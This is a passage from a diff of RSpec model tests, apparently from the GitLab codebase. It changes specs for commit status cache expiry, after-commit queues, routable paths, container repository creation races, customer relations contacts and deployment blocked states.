+ expect(diff_max_lines).to eq(65321)
end
end
diff --git a/spec/models/commit_status_spec.rb b/spec/models/commit_status_spec.rb
index 59d14574c02..665a2a936af 100644
--- a/spec/models/commit_status_spec.rb
+++ b/spec/models/commit_status_spec.rb
@@ -46,10 +46,28 @@ RSpec.describe CommitStatus do
describe 'status state machine' do
let!(:commit_status) { create(:commit_status, :running, project: project) }
- it 'invalidates the cache after a transition' do
- expect(ExpireJobCacheWorker).to receive(:perform_async).with(commit_status.id)
+ context 'when expire_job_and_pipeline_cache_synchronously is enabled' do
+ before do
+ stub_feature_flags(expire_job_and_pipeline_cache_synchronously: true)
+ end
+
+ it 'invalidates the cache after a transition' do
+ expect(commit_status).to receive(:expire_etag_cache!)
- commit_status.success!
+ commit_status.success!
+ end
+ end
+
+ context 'when expire_job_and_pipeline_cache_synchronously is disabled' do
+ before do
+ stub_feature_flags(expire_job_and_pipeline_cache_synchronously: false)
+ end
+
+ it 'invalidates the cache after a transition' do
+ expect(ExpireJobCacheWorker).to receive(:perform_async).with(commit_status.id)
+
+ commit_status.success!
+ end
end
describe 'transitioning to running' do
@@ -97,32 +115,6 @@ RSpec.describe CommitStatus do
end
end
- describe '.updated_before' do
- let!(:lookback) { 5.days.ago }
- let!(:timeout) { 1.day.ago }
- let!(:before_lookback) { lookback - 1.hour }
- let!(:after_lookback) { lookback + 1.hour }
- let!(:before_timeout) { timeout - 1.hour }
- let!(:after_timeout) { timeout + 1.hour }
-
- subject { described_class.updated_before(lookback: lookback, timeout: timeout) }
-
- def create_build_with_set_timestamps(created_at:, updated_at:)
- travel_to(created_at) { create(:ci_build, created_at: Time.current) }.tap do |build|
- travel_to(updated_at) { build.update!(status: :failed) }
- end
- end
-
- it 'finds builds updated and created in the window between lookback and timeout' do
- build_in_lookback_timeout_window = create_build_with_set_timestamps(created_at: after_lookback, updated_at: before_timeout)
- build_outside_lookback_window = create_build_with_set_timestamps(created_at: before_lookback, updated_at: before_timeout)
- build_outside_timeout_window = create_build_with_set_timestamps(created_at: after_lookback, updated_at: after_timeout)
-
- expect(subject).to contain_exactly(build_in_lookback_timeout_window)
- expect(subject).not_to include(build_outside_lookback_window, build_outside_timeout_window)
- end
- end
-
describe '.scheduled_at_before' do
let!(:never_scheduled) { create(:commit_status) }
let!(:stale_scheduled) { create(:commit_status, scheduled_at: 1.day.ago) }
@@ -773,6 +765,14 @@ RSpec.describe CommitStatus do
it_behaves_like 'incrementing failure reason counter'
end
+
+ context 'when status is manual' do
+ let(:commit_status) { create(:commit_status, :manual) }
+
+ it 'is able to be dropped' do
+ expect { commit_status.drop! }.to change { commit_status.status }.from('manual').to('failed')
+ end
+ end
end
describe 'ensure stage assignment' do
@@ -958,4 +958,32 @@ RSpec.describe CommitStatus do
expect(build_from_other_pipeline.reload).to have_attributes(retried: false, processed: false)
end
end
+
+ describe '.bulk_insert_tags!' do
+ let(:statuses) { double('statuses') }
+ let(:tag_list_by_build) { double('tag list') }
+ let(:inserter) { double('inserter') }
+
+ it 'delegates to bulk insert class' do
+ expect(Gitlab::Ci::Tags::BulkInsert)
+ .to receive(:new)
+ .with(statuses, tag_list_by_build)
+ .and_return(inserter)
+
+ expect(inserter).to receive(:insert!)
+
+ described_class.bulk_insert_tags!(statuses, tag_list_by_build)
+ end
+ end
+
+ describe '#expire_etag_cache!' do
+ it 'expires the etag cache' do
+ expect_next_instance_of(Gitlab::EtagCaching::Store) do |etag_store|
+ job_path = Gitlab::Routing.url_helpers.project_build_path(project, commit_status.id, format: :json)
+ expect(etag_store).to receive(:touch).with(job_path)
+ end
+
+ commit_status.expire_etag_cache!
+ end
+ end
end
diff --git a/spec/models/concerns/after_commit_queue_spec.rb b/spec/models/concerns/after_commit_queue_spec.rb
new file mode 100644
index 00000000000..40cddde333e
--- /dev/null
+++ b/spec/models/concerns/after_commit_queue_spec.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe AfterCommitQueue do
+ describe '#run_after_commit' do
+ it 'runs after record is saved' do
+ called = false
+ test_proc = proc { called = true }
+
+ project = build(:project)
+ project.run_after_commit(&test_proc)
+
+ expect(called).to be false
+
+ # save! is run in its own transaction
+ project.save!
+
+ expect(called).to be true
+ end
+
+ it 'runs after transaction is committed' do
+ called = false
+ test_proc = proc { called = true }
+
+ project = build(:project)
+
+ Project.transaction do
+ project.run_after_commit(&test_proc)
+
+ project.save!
+
+ expect(called).to be false
+ end
+
+ expect(called).to be true
+ end
+ end
+
+ describe '#run_after_commit_or_now' do
+ it 'runs immediately if not within a transction' do
+ called = false
+ test_proc = proc { called = true }
+
+ project = build(:project)
+
+ project.run_after_commit_or_now(&test_proc)
+
+ expect(called).to be true
+ end
+
+ it 'runs after transaction has completed' do
+ called = false
+ test_proc = proc { called = true }
+
+ project = build(:project)
+
+ Project.transaction do
+ # Add this record to the current transaction so that after commit hooks
+ # are called
+ Project.connection.add_transaction_record(project)
+
+ project.run_after_commit_or_now(&test_proc)
+
+ project.save!
+
+ expect(called).to be false
+ end
+
+ expect(called).to be true
+ end
+
+ context 'multiple databases - Ci::ApplicationRecord models' do
+ before do
+ skip_if_multiple_databases_not_setup
+
+ table_sql = <<~SQL
+ CREATE TABLE _test_ci_after_commit_queue (
+ id serial NOT NULL PRIMARY KEY);
+ SQL
+
+ ::Ci::ApplicationRecord.connection.execute(table_sql)
+ end
+
+ let(:ci_klass) do
+ Class.new(Ci::ApplicationRecord) do
+ self.table_name = '_test_ci_after_commit_queue'
+
+ include AfterCommitQueue
+
+ def self.name
+ 'TestCiAfterCommitQueue'
+ end
+ end
+ end
+
+ let(:ci_record) { ci_klass.new }
+
+ it 'runs immediately if not within a transaction' do
+ called = false
+ test_proc = proc { called = true }
+
+ ci_record.run_after_commit_or_now(&test_proc)
+
+ expect(called).to be true
+ end
+
+ it 'runs after transaction has completed' do
+ called = false
+ test_proc = proc { called = true }
+
+ Ci::ApplicationRecord.transaction do
+ # Add this record to the current transaction so that after commit hooks
+ # are called
+ Ci::ApplicationRecord.connection.add_transaction_record(ci_record)
+
+ ci_record.run_after_commit_or_now(&test_proc)
+
+ ci_record.save!
+
+ expect(called).to be false
+ end
+
+ expect(called).to be true
+ end
+ end
+ end
+end
diff --git a/spec/models/concerns/calloutable_spec.rb b/spec/models/concerns/calloutable_spec.rb
deleted file mode 100644
index d847413de88..00000000000
--- a/spec/models/concerns/calloutable_spec.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Calloutable do
- subject { build(:user_callout) }
-
- describe "Associations" do
- it { is_expected.to belong_to(:user) }
- end
-
- describe 'validations' do
- it { is_expected.to validate_presence_of(:user) }
- end
-
- describe '#dismissed_after?' do
- let(:some_feature_name) { UserCallout.feature_names.keys.second }
- let(:callout_dismissed_month_ago) { create(:user_callout, feature_name: some_feature_name, dismissed_at: 1.month.ago )}
- let(:callout_dismissed_day_ago) { create(:user_callout, feature_name: some_feature_name, dismissed_at: 1.day.ago )}
-
- it 'returns whether a callout dismissed after specified date' do
- expect(callout_dismissed_month_ago.dismissed_after?(15.days.ago)).to eq(false)
- expect(callout_dismissed_day_ago.dismissed_after?(15.days.ago)).to eq(true)
- end
- end
-end
diff --git a/spec/models/concerns/case_sensitivity_spec.rb b/spec/models/concerns/case_sensitivity_spec.rb
index 269f9577267..6e624c687c4 100644
--- a/spec/models/concerns/case_sensitivity_spec.rb
+++ b/spec/models/concerns/case_sensitivity_spec.rb
@@ -9,11 +9,12 @@ RSpec.describe CaseSensitivity do
Class.new(ActiveRecord::Base) do
include CaseSensitivity
self.table_name = 'namespaces'
+ self.inheritance_column = :_type_disabled
end
end
- let_it_be(:model_1) { model.create!(path: 'mOdEl-1', name: 'mOdEl 1') }
- let_it_be(:model_2) { model.create!(path: 'mOdEl-2', name: 'mOdEl 2') }
+ let_it_be(:model_1) { model.create!(path: 'mOdEl-1', name: 'mOdEl 1', type: Namespaces::UserNamespace.sti_name) }
+ let_it_be(:model_2) { model.create!(path: 'mOdEl-2', name: 'mOdEl 2', type: Group.sti_name) }
it 'finds a single instance by a single attribute regardless of case' do
expect(model.iwhere(path: 'MODEL-1')).to contain_exactly(model_1)
diff --git a/spec/models/concerns/group_descendant_spec.rb b/spec/models/concerns/group_descendant_spec.rb
index b29fa910ee6..d593d829dca 100644
--- a/spec/models/concerns/group_descendant_spec.rb
+++ b/spec/models/concerns/group_descendant_spec.rb
@@ -19,14 +19,16 @@ RSpec.describe GroupDescendant do
query_count = ActiveRecord::QueryRecorder.new { test_group.hierarchy }.count
- expect(query_count).to eq(1)
+ # use_traversal_ids_for_ancestors_upto actor based feature flag check adds an extra query.
+ expect(query_count).to eq(2)
end
it 'only queries once for the ancestors when a top is given' do
test_group = create(:group, parent: subsub_group).reload
recorder = ActiveRecord::QueryRecorder.new { test_group.hierarchy(subgroup) }
- expect(recorder.count).to eq(1)
+ # use_traversal_ids_for_ancestors_upto actor based feature flag check adds an extra query.
+ expect(recorder.count).to eq(2)
end
it 'builds a hierarchy for a group' do
diff --git a/spec/models/concerns/loose_foreign_key_spec.rb b/spec/models/concerns/loose_foreign_key_spec.rb
deleted file mode 100644
index 42da69eb75e..00000000000
--- a/spec/models/concerns/loose_foreign_key_spec.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe LooseForeignKey do
- let(:project_klass) do
- Class.new(ApplicationRecord) do
- include LooseForeignKey
-
- self.table_name = 'projects'
-
- loose_foreign_key :issues, :project_id, on_delete: :async_delete
- loose_foreign_key 'merge_requests', 'project_id', 'on_delete' => 'async_nullify'
- end
- end
-
- it 'exposes the loose foreign key definitions' do
- definitions = project_klass.loose_foreign_key_definitions
-
- tables = definitions.map(&:to_table)
- expect(tables).to eq(%w[issues merge_requests])
- end
-
- it 'casts strings to symbol' do
- definition = project_klass.loose_foreign_key_definitions.last
-
- expect(definition.from_table).to eq('projects')
- expect(definition.to_table).to eq('merge_requests')
- expect(definition.column).to eq('project_id')
- expect(definition.on_delete).to eq(:async_nullify)
- end
-
- context 'validation' do
- context 'on_delete validation' do
- let(:invalid_class) do
- Class.new(ApplicationRecord) do
- include LooseForeignKey
-
- self.table_name = 'projects'
-
- loose_foreign_key :issues, :project_id, on_delete: :async_delete
- loose_foreign_key :merge_requests, :project_id, on_delete: :async_nullify
- loose_foreign_key :merge_requests, :project_id, on_delete: :destroy
- end
- end
-
- it 'raises error when invalid `on_delete` option was given' do
- expect { invalid_class }.to raise_error /Invalid on_delete option given: destroy/
- end
- end
-
- context 'inheritance validation' do
- let(:inherited_project_class) do
- Class.new(Project) do
- include LooseForeignKey
-
- loose_foreign_key :issues, :project_id, on_delete: :async_delete
- end
- end
-
- it 'raises error when loose_foreign_key is defined in a child ActiveRecord model' do
- expect { inherited_project_class }.to raise_error /Please define the loose_foreign_key on the Project class/
- end
- end
- end
-end
diff --git a/spec/models/concerns/participable_spec.rb b/spec/models/concerns/participable_spec.rb
index 903c7ae16b6..50cf7377b99 100644
--- a/spec/models/concerns/participable_spec.rb
+++ b/spec/models/concerns/participable_spec.rb
@@ -51,7 +51,9 @@ RSpec.describe Participable do
end
it 'supports attributes returning another Participable' do
- other_model = Class.new { include Participable }
+ other_model = Class.new do
+ include Participable
+ end
other_model.participant(:bar)
model.participant(:foo)
@@ -115,6 +117,76 @@ RSpec.describe Participable do
end
end
+ describe '#visible_participants' do
+ before do
+ allow(Ability).to receive(:allowed?).and_call_original
+ allow(Ability).to receive(:allowed?).with(anything, :read_class, anything) { readable }
+ end
+
+ let(:readable) { true }
+
+ it 'returns the list of participants' do
+ model.participant(:foo)
+ model.participant(:bar)
+
+ user1 = build(:user)
+ user2 = build(:user)
+ user3 = build(:user)
+ project = build(:project, :public)
+ instance = model.new
+
+ allow(instance).to receive_message_chain(:model_name, :element) { 'class' }
+ expect(instance).to receive(:foo).and_return(user2)
+ expect(instance).to receive(:bar).and_return(user3)
+ expect(instance).to receive(:project).thrice.and_return(project)
+
+ participants = instance.visible_participants(user1)
+
+ expect(participants).to include(user2)
+ expect(participants).to include(user3)
+ end
+
+ context 'when Participable is not readable by the user' do
+ let(:readable) { false }
+
+ it 'does not return unavailable participants' do
+ model.participant(:bar)
+
+ instance = model.new
+ user1 = build(:user)
+ user2 = build(:user)
+ project = build(:project, :public)
+
+ allow(instance).to receive_message_chain(:model_name, :element) { 'class' }
+ allow(instance).to receive(:bar).and_return(user2)
+ expect(instance).to receive(:project).thrice.and_return(project)
+
+ expect(instance.visible_participants(user1)).to be_empty
+ end
+
+ context 'when feature flag is disabled' do
+ before do
+ stub_feature_flags(verify_participants_access: false)
+ end
+
+ it 'returns unavailable participants' do
+ model.participant(:bar)
+
+ instance = model.new
+ user1 = build(:user)
+ user2 = build(:user)
+ project = build(:project, :public)
+
+ allow(instance).to receive_message_chain(:model_name, :element) { 'class' }
+ allow(instance).to receive(:bar).and_return(user2)
+ expect(instance).to receive(:project).thrice.and_return(project)
+
+ expect(instance.visible_participants(user1)).to match_array([user2])
+ end
+ end
+ end
+ end
+
describe '#participant?' do
let(:instance) { model.new }
diff --git a/spec/models/concerns/routable_spec.rb b/spec/models/concerns/routable_spec.rb
index 0a433a8cf4f..2330147b376 100644
--- a/spec/models/concerns/routable_spec.rb
+++ b/spec/models/concerns/routable_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.shared_examples '.find_by_full_path' do
+RSpec.shared_examples 'routable resource' do
describe '.find_by_full_path', :aggregate_failures do
it 'finds records by their full path' do
expect(described_class.find_by_full_path(record.full_path)).to eq(record)
@@ -52,13 +52,27 @@ RSpec.shared_examples '.find_by_full_path' do
end
end
-RSpec.describe Routable do
- it_behaves_like '.find_by_full_path' do
- let_it_be(:record) { create(:group) }
+RSpec.shared_examples 'routable resource with parent' do
+ it_behaves_like 'routable resource'
+
+ describe '#full_path' do
+ it { expect(record.full_path).to eq "#{record.parent.full_path}/#{record.path}" }
+
+ it 'hits the cache when not preloaded' do
+ forcibly_hit_cached_lookup(record, :full_path)
+
+ expect(record.full_path).to eq("#{record.parent.full_path}/#{record.path}")
+ end
end
- it_behaves_like '.find_by_full_path' do
- let_it_be(:record) { create(:project) }
+ describe '#full_name' do
+ it { expect(record.full_name).to eq "#{record.parent.human_name} / #{record.name}" }
+
+ it 'hits the cache when not preloaded' do
+ forcibly_hit_cached_lookup(record, :full_name)
+
+ expect(record.full_name).to eq("#{record.parent.human_name} / #{record.name}")
+ end
end
end
@@ -66,6 +80,14 @@ RSpec.describe Group, 'Routable', :with_clean_rails_cache do
let_it_be_with_reload(:group) { create(:group, name: 'foo') }
let_it_be(:nested_group) { create(:group, parent: group) }
+ it_behaves_like 'routable resource' do
+ let_it_be(:record) { group }
+ end
+
+ it_behaves_like 'routable resource with parent' do
+ let_it_be(:record) { nested_group }
+ end
+
describe 'Validations' do
it { is_expected.to validate_presence_of(:route) }
end
@@ -119,24 +141,6 @@ RSpec.describe Group, 'Routable', :with_clean_rails_cache do
end
end
- describe '.find_by_full_path' do
- it_behaves_like '.find_by_full_path' do
- let_it_be(:record) { group }
- end
-
- it_behaves_like '.find_by_full_path' do
- let_it_be(:record) { nested_group }
- end
-
- it 'does not find projects with a matching path' do
- project = create(:project)
- redirect_route = create(:redirect_route, source: project)
-
- expect(described_class.find_by_full_path(project.full_path)).to be_nil
- expect(described_class.find_by_full_path(redirect_route.path, follow_redirects: true)).to be_nil
- end
- end
-
describe '.where_full_path_in' do
context 'without any paths' do
it 'returns an empty relation' do
@@ -195,64 +199,39 @@ RSpec.describe Group, 'Routable', :with_clean_rails_cache do
expect(group.route_loaded?).to be_truthy
end
end
-
- describe '#full_path' do
- it { expect(group.full_path).to eq(group.path) }
- it { expect(nested_group.full_path).to eq("#{group.full_path}/#{nested_group.path}") }
-
- it 'hits the cache when not preloaded' do
- forcibly_hit_cached_lookup(nested_group, :full_path)
-
- expect(nested_group.full_path).to eq("#{group.full_path}/#{nested_group.path}")
- end
- end
-
- describe '#full_name' do
- it { expect(group.full_name).to eq(group.name) }
- it { expect(nested_group.full_name).to eq("#{group.name} / #{nested_group.name}") }
-
- it 'hits the cache when not preloaded' do
- forcibly_hit_cached_lookup(nested_group, :full_name)
-
- expect(nested_group.full_name).to eq("#{group.name} / #{nested_group.name}")
- end
- end
end
RSpec.describe Project, 'Routable', :with_clean_rails_cache do
let_it_be(:namespace) { create(:namespace) }
let_it_be(:project) { create(:project, namespace: namespace) }
- it_behaves_like '.find_by_full_path' do
+ it_behaves_like 'routable resource with parent' do
let_it_be(:record) { project }
end
+end
- it 'does not find groups with a matching path' do
- group = create(:group)
- redirect_route = create(:redirect_route, source: group)
-
- expect(described_class.find_by_full_path(group.full_path)).to be_nil
- expect(described_class.find_by_full_path(redirect_route.path, follow_redirects: true)).to be_nil
- end
-
- describe '#full_path' do
- it { expect(project.full_path).to eq "#{namespace.full_path}/#{project.path}" }
-
- it 'hits the cache when not preloaded' do
- forcibly_hit_cached_lookup(project, :full_path)
-
- expect(project.full_path).to eq("#{namespace.full_path}/#{project.path}")
+RSpec.describe Namespaces::ProjectNamespace, 'Routable', :with_clean_rails_cache do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project_namespace) do
+ # For now we create only project namespace w/o project, otherwise same path
+ # would be used for project and project namespace.
+ # This can be removed when route is created automatically for project namespaces.
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/346448
+ create(:project_namespace, project: nil, parent: group,
+ visibility_level: Gitlab::VisibilityLevel::PUBLIC,
+ path: 'foo', name: 'foo').tap do |project_namespace|
+ Route.create!(source: project_namespace, path: project_namespace.full_path,
+ name: project_namespace.full_name)
end
end
- describe '#full_name' do
- it { expect(project.full_name).to eq "#{namespace.human_name} / #{project.name}" }
-
- it 'hits the cache when not preloaded' do
- forcibly_hit_cached_lookup(project, :full_name)
+ # we have couple of places where we use generic Namespace, in that case
+ # we don't want to include ProjectNamespace routes yet
+ it 'ignores project namespace when searching for generic namespace' do
+ redirect_route = create(:redirect_route, source: project_namespace)
- expect(project.full_name).to eq("#{namespace.human_name} / #{project.name}")
- end
+ expect(Namespace.find_by_full_path(project_namespace.full_path)).to be_nil
+ expect(Namespace.find_by_full_path(redirect_route.path, follow_redirects: true)).to be_nil
end
end
diff --git a/spec/models/concerns/sha_attribute_spec.rb b/spec/models/concerns/sha_attribute_spec.rb
index 220eadfab92..1bcf3dc8b61 100644
--- a/spec/models/concerns/sha_attribute_spec.rb
+++ b/spec/models/concerns/sha_attribute_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe ShaAttribute do
- let(:model) { Class.new(ApplicationRecord) { include ShaAttribute } }
+ let(:model) { Class.new(ActiveRecord::Base) { include ShaAttribute } }
before do
columns = [
diff --git a/spec/models/concerns/transactions_spec.rb b/spec/models/concerns/transactions_spec.rb
new file mode 100644
index 00000000000..404a33196e6
--- /dev/null
+++ b/spec/models/concerns/transactions_spec.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Transactions do
+ let(:model) { build(:project) }
+
+ it 'is not in a transaction' do
+ expect(model.class).not_to be_inside_transaction
+ end
+
+ it 'is in a transaction', :aggregate_failures do
+ Project.transaction do
+ expect(model.class).to be_inside_transaction
+ end
+
+ ApplicationRecord.transaction do
+ expect(model.class).to be_inside_transaction
+ end
+ end
+end
diff --git a/spec/models/container_repository_spec.rb b/spec/models/container_repository_spec.rb
index 846dfb30928..51fdbfebd3a 100644
--- a/spec/models/container_repository_spec.rb
+++ b/spec/models/container_repository_spec.rb
@@ -223,9 +223,9 @@ RSpec.describe ContainerRepository do
end
end
- describe '.create_from_path!' do
+ describe '.find_or_create_from_path' do
let(:repository) do
- described_class.create_from_path!(ContainerRegistry::Path.new(path))
+ described_class.find_or_create_from_path(ContainerRegistry::Path.new(path))
end
let(:repository_path) { ContainerRegistry::Path.new(path) }
@@ -291,6 +291,35 @@ RSpec.describe ContainerRepository do
expect(repository.id).to eq(container_repository.id)
end
end
+
+ context 'when many of the same repository are created at the same time' do
+ let(:path) { ContainerRegistry::Path.new(project.full_path + '/some/image') }
+
+ it 'does not throw validation errors and only creates one repository' do
+ expect { repository_creation_race(path) }.to change { ContainerRepository.count }.by(1)
+ end
+
+ it 'retrieves a persisted repository for all concurrent calls' do
+ repositories = repository_creation_race(path).map(&:value)
+
+ expect(repositories).to all(be_persisted)
+ end
+ end
+
+ def repository_creation_race(path)
+ # create a race condition - structure from https://blog.arkency.com/2015/09/testing-race-conditions/
+ wait_for_it = true
+
+ threads = Array.new(10) do |i|
+ Thread.new do
+ true while wait_for_it
+
+ ::ContainerRepository.find_or_create_from_path(path)
+ end
+ end
+ wait_for_it = false
+ threads.each(&:join)
+ end
end
describe '.build_root_repository' do
diff --git a/spec/models/customer_relations/contact_spec.rb b/spec/models/customer_relations/contact_spec.rb
index 3a2d4e2d0ca..7e26d324ac2 100644
--- a/spec/models/customer_relations/contact_spec.rb
+++ b/spec/models/customer_relations/contact_spec.rb
@@ -36,4 +36,27 @@ RSpec.describe CustomerRelations::Contact, type: :model do
expect(contact.phone).to eq('123456')
end
end
+
+ describe '#self.find_ids_by_emails' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:group_contacts) { create_list(:contact, 2, group: group) }
+ let_it_be(:other_contacts) { create_list(:contact, 2) }
+
+ it 'returns ids of contacts from group' do
+ contact_ids = described_class.find_ids_by_emails(group.id, group_contacts.pluck(:email))
+
+ expect(contact_ids).to match_array(group_contacts.pluck(:id))
+ end
+
+ it 'does not return ids of contacts from other groups' do
+ contact_ids = described_class.find_ids_by_emails(group.id, other_contacts.pluck(:email))
+
+ expect(contact_ids).to be_empty
+ end
+
+ it 'raises ArgumentError when called with too many emails' do
+ too_many_emails = described_class::MAX_PLUCK + 1
+ expect { described_class.find_ids_by_emails(group.id, Array(0..too_many_emails)) }.to raise_error(ArgumentError)
+ end
+ end
end
diff --git a/spec/models/customer_relations/issue_contact_spec.rb b/spec/models/customer_relations/issue_contact_spec.rb
index 3747d159833..474455a9884 100644
--- a/spec/models/customer_relations/issue_contact_spec.rb
+++ b/spec/models/customer_relations/issue_contact_spec.rb
@@ -4,6 +4,9 @@ require 'spec_helper'
RSpec.describe CustomerRelations::IssueContact do
let_it_be(:issue_contact, reload: true) { create(:issue_customer_relations_contact) }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
+ let_it_be(:issue) { create(:issue, project: project) }
subject { issue_contact }
@@ -19,9 +22,6 @@ RSpec.describe CustomerRelations::IssueContact do
let(:stubbed) { build_stubbed(:issue_customer_relations_contact) }
let(:created) { create(:issue_customer_relations_contact) }
- let(:group) { build(:group) }
- let(:project) { build(:project, group: group) }
- let(:issue) { build(:issue, project: project) }
let(:contact) { build(:contact, group: group) }
let(:for_issue) { build(:issue_customer_relations_contact, :for_issue, issue: issue) }
let(:for_contact) { build(:issue_customer_relations_contact, :for_contact, contact: contact) }
@@ -45,4 +45,26 @@ RSpec.describe CustomerRelations::IssueContact do
expect(built).not_to be_valid
end
end
+
+ describe '#self.find_contact_ids_by_emails' do
+ let_it_be(:for_issue) { create_list(:issue_customer_relations_contact, 2, :for_issue, issue: issue) }
+ let_it_be(:not_for_issue) { create_list(:issue_customer_relations_contact, 2) }
+
+ it 'returns ids of contacts from issue' do
+ contact_ids = described_class.find_contact_ids_by_emails(issue.id, for_issue.map(&:contact).pluck(:email))
+
+ expect(contact_ids).to match_array(for_issue.pluck(:contact_id))
+ end
+
+ it 'does not return ids of contacts from other issues' do
+ contact_ids = described_class.find_contact_ids_by_emails(issue.id, not_for_issue.map(&:contact).pluck(:email))
+
+ expect(contact_ids).to be_empty
+ end
+
+ it 'raises ArgumentError when called with too many emails' do
+ too_many_emails = described_class::MAX_PLUCK + 1
+ expect { described_class.find_contact_ids_by_emails(issue.id, Array(0..too_many_emails)) }.to raise_error(ArgumentError)
+ end
+ end
end
diff --git a/spec/models/deployment_metrics_spec.rb b/spec/models/deployment_metrics_spec.rb
index c804e20d66d..fe9218a9ae2 100644
--- a/spec/models/deployment_metrics_spec.rb
+++ b/spec/models/deployment_metrics_spec.rb
@@ -111,7 +111,7 @@ RSpec.describe DeploymentMetrics do
}
end
- let(:prometheus_adapter) { instance_double('prometheus_adapter', can_query?: true, configured?: true) }
+ let(:prometheus_adapter) { instance_double(::Integrations::Prometheus, can_query?: true, configured?: true) }
before do
allow(deployment_metrics).to receive(:prometheus_adapter).and_return(prometheus_adapter)
diff --git a/spec/models/deployment_spec.rb b/spec/models/deployment_spec.rb
index 51e1e63da8d..29b37ef7371 100644
--- a/spec/models/deployment_spec.rb
+++ b/spec/models/deployment_spec.rb
@@ -268,31 +268,69 @@ RSpec.describe Deployment do
end
end
+ context 'when deployment is blocked' do
+ let(:deployment) { create(:deployment, :created) }
+
+ it 'has correct status' do
+ deployment.block!
+
+ expect(deployment).to be_blocked
+ expect(deployment.finished_at).to be_nil
+ end
+
+ it 'does not execute Deployments::LinkMergeRequestWorker asynchronously' do
+ expect(Deployments::LinkMergeRequestWorker).not_to receive(:perform_async)
+
+ deployment.block!
+ end
+
+ it 'does not execute Deployments::HooksWorker' do
+ expect(Deployments::HooksWorker).not_to receive(:perform_async)
+
+ deployment.block!
+ end
+ end
+
describe 'synching status to Jira' do
- let(:deployment) { create(:deployment) }
+ let_it_be(:project) { create(:project, :repository) }
+ let(:deployment) { create(:deployment, project: project) }
let(:worker) { ::JiraConnect::SyncDeploymentsWorker }
- it 'calls the worker on creation' do
- expect(worker).to receive(:perform_async).with(Integer)
+ context 'when Jira Connect subscription does not exist' do
+ it 'does not call the worker' do
+ expect(worker).not_to receive(:perform_async)
- deployment
+ deployment
+ end
end
- it 'does not call the worker for skipped deployments' do
- expect(deployment).to be_present # warm-up, ignore the creation trigger
+ context 'when Jira Connect subscription exists' do
+ before_all do
+ create(:jira_connect_subscription, namespace: project.namespace)
+ end
- expect(worker).not_to receive(:perform_async)
+ it 'calls the worker on creation' do
+ expect(worker).to receive(:perform_async).with(Integer)
- deployment.skip!
- end
+ deployment
+ end
+
+ it 'does not call the worker for skipped deployments' do
+ expect(deployment).to be_present # warm-up, ignore the creation trigger
+
+ expect(worker).not_to receive(:perform_async)
+
+ deployment.skip!
+ end
- %i[run! succeed! drop! cancel!].each do |event|
- context "when we call pipeline.#{event}" do
- it 'triggers a Jira synch worker' do
- expect(worker).to receive(:perform_async).with(deployment.id)
+ %i[run! succeed! drop! cancel!].each do |event|
+ context "when we call pipeline.#{event}" do
+ it 'triggers a Jira synch worker' do
+ expect(worker).to receive(:perform_async).with(deployment.id)
- deployment.send(event)
+ deployment.send(event)
+ end
end
end
end
@@ -448,11 +486,12 @@ RSpec.describe Deployment do
subject { described_class.active }
it 'retrieves the active deployments' do
- deployment1 = create(:deployment, status: :created )
- deployment2 = create(:deployment, status: :running )
- create(:deployment, status: :failed )
- create(:deployment, status: :canceled )
+ deployment1 = create(:deployment, status: :created)
+ deployment2 = create(:deployment, status: :running)
+ create(:deployment, status: :failed)
+ create(:deployment, status: :canceled)
create(:deployment, status: :skipped)
+ create(:deployment, status: :blocked)
is_expected.to contain_exactly(deployment1, deployment2)
end
@@ -512,9 +551,25 @@ RSpec.describe Deployment do
deployment2 = create(:deployment, status: :success)
deployment3 = create(:deployment, status: :failed)
deployment4 = create(:deployment, status: :canceled)
+ deployment5 = create(:deployment, status: :blocked)
+ create(:deployment, status: :skipped)
+
+ is_expected.to contain_exactly(deployment1, deployment2, deployment3, deployment4, deployment5)
+ end
+ end
+
+ describe 'upcoming' do
+ subject { described_class.upcoming }
+
+ it 'retrieves the upcoming deployments' do
+ deployment1 = create(:deployment, status: :running)
+ deployment2 = create(:deployment, status: :blocked)
+ create(:deployment, status: :success)
+ create(:deployment, status: :failed)
+ create(:deployment, status: :canceled)
create(:deployment, status: :skipped)
- is_expected.to contain_exactly(deployment1, deployment2, deployment3, deployment4)
+ is_expected.to contain_exactly(deployment1, deployment2)
end
end
end
@@ -840,6 +895,27 @@ RSpec.describe Deployment do
expect(deploy.update_status('created')).to eq(false)
end
+
+ context 'mapping status to event' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:status, :method) do
+ 'running' | :run!
+ 'success' | :succeed!
+ 'failed' | :drop!
+ 'canceled' | :cancel!
+ 'skipped' | :skip!
+ 'blocked' | :block!
+ end
+
+ with_them do
+ it 'calls the correct method for the given status' do
+ expect(deploy).to receive(method)
+
+ deploy.update_status(status)
+ end
+ end
+ end
end
describe '#sync_status_with' do
diff --git a/spec/models/dev_ops_report/metric_spec.rb b/spec/models/dev_ops_report/metric_spec.rb
index 191692f43a4..8519217f719 100644
--- a/spec/models/dev_ops_report/metric_spec.rb
+++ b/spec/models/dev_ops_report/metric_spec.rb
@@ -5,6 +5,13 @@ require 'spec_helper'
RSpec.describe DevOpsReport::Metric do
let(:conv_dev_index) { create(:dev_ops_report_metric) }
+ describe 'validations' do
+ DevOpsReport::Metric::METRICS.each do |metric_name|
+ it { is_expected.to validate_presence_of(metric_name) }
+ it { is_expected.to validate_numericality_of(metric_name).is_greater_than_or_equal_to(0) }
+ end
+ end
+
describe '#percentage_score' do
it 'returns stored percentage score' do
expect(conv_dev_index.percentage_score('issues')).to eq(13.331)
diff --git a/spec/models/environment_spec.rb b/spec/models/environment_spec.rb
index 9d9862aa3d3..3dd0e01d7b3 100644
--- a/spec/models/environment_spec.rb
+++ b/spec/models/environment_spec.rb
@@ -947,6 +947,12 @@ RSpec.describe Environment, :use_clean_rails_memory_store_caching do
it { is_expected.to eq(deployment) }
end
+
